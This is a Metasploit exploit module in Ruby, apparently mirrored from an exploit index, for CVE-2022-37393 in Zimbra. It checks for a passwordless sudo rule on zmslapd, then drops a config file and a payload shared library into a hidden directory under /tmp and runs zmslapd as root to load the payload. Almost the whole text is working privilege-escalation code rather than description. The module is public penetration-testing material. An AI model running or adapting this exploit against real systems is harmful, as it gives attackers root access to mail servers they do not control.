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## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-LOCAL-ZIMBRA_SLAPPER_PRIV_ESC-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zimbra zmslapd arbitrary module load',
        'Description' => %q{
          This module exploits CVE-2022-37393, which is a vulnerability in
          Zimbra's sudo configuration that permits the zimbra user to execute
          the zmslapd binary as root with arbitrary parameters. As part of its
          intended functionality, zmslapd can load a user-defined configuration
          file, which includes plugins in the form of .so files, which also
          execute as root.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Darren Martyn', # discovery and poc
          'Ron Bowes',     # Module
        ],
        'DisclosureDate' => '2021-10-27',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Privileged' => true,
        'References' => [
          [ 'CVE', '2022-37393' ],
          [ 'URL', 'https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/' ],
        ],
        'Targets' => [
          [ 'Auto', {} ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ]
        }
      )
    )
    register_options [
      OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
      OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  # Because this isn't patched, I can't say with 100% certainty that this will
  # detect a future patch (it depends on how they patch it)
  def check
    # Sanity check
    if is_root?
      fail_with(Failure::None, 'Session already has root privileges')
    end

    unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
      print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
      return CheckCode::Safe
    end

    unless command_exists?(datastore['SUDO_PATH'])
      print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
      return CheckCode::Safe
    end

    # Run `sudo -n -l` to make sure we have access to the target command
    cmd = "#{datastore['SUDO_PATH']} -n -l"
    print_status "Executing: #{cmd}"
    output = cmd_exec(cmd).to_s

    if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
      print_error('Current user could not execute sudo -l')
      return CheckCode::Safe
    end

    if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
      print_error('Current user does not have access to run zmslapd')
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def exploit
    base_dir = datastore['WritableDir'].to_s
    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    # Generate a random directory
    exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    if file_exist?(exploit_dir)
      fail_with(Failure::BadConfig, 'Exploit dir already exists')
    end

    # Create the directory and get ready to remove it
    print_status("Creating exploit directory: #{exploit_dir}")
    mkdir(exploit_dir)
    register_dir_for_cleanup(exploit_dir)

    # Generate some filenames
    library_name = ".#{rand_text_alphanumeric(5..10)}.so"
    library_path = "#{exploit_dir}/#{library_name}"
    config_name = ".#{rand_text_alphanumeric(5..10)}"
    config_path = "#{exploit_dir}/#{config_name}"

    # Create the .conf file
    config = "modulepath #{exploit_dir}\nmoduleload #{library_name}\n"
    write_file(config_path, config)

    write_file(library_path, generate_payload_dll)

    cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"
    print_status "Attempting to trigger payload: #{cmd}"
    out = cmd_exec(cmd)

    unless session_created?
      print_error("Failed to create session! Cmd output = #{out}")
    end
  end
end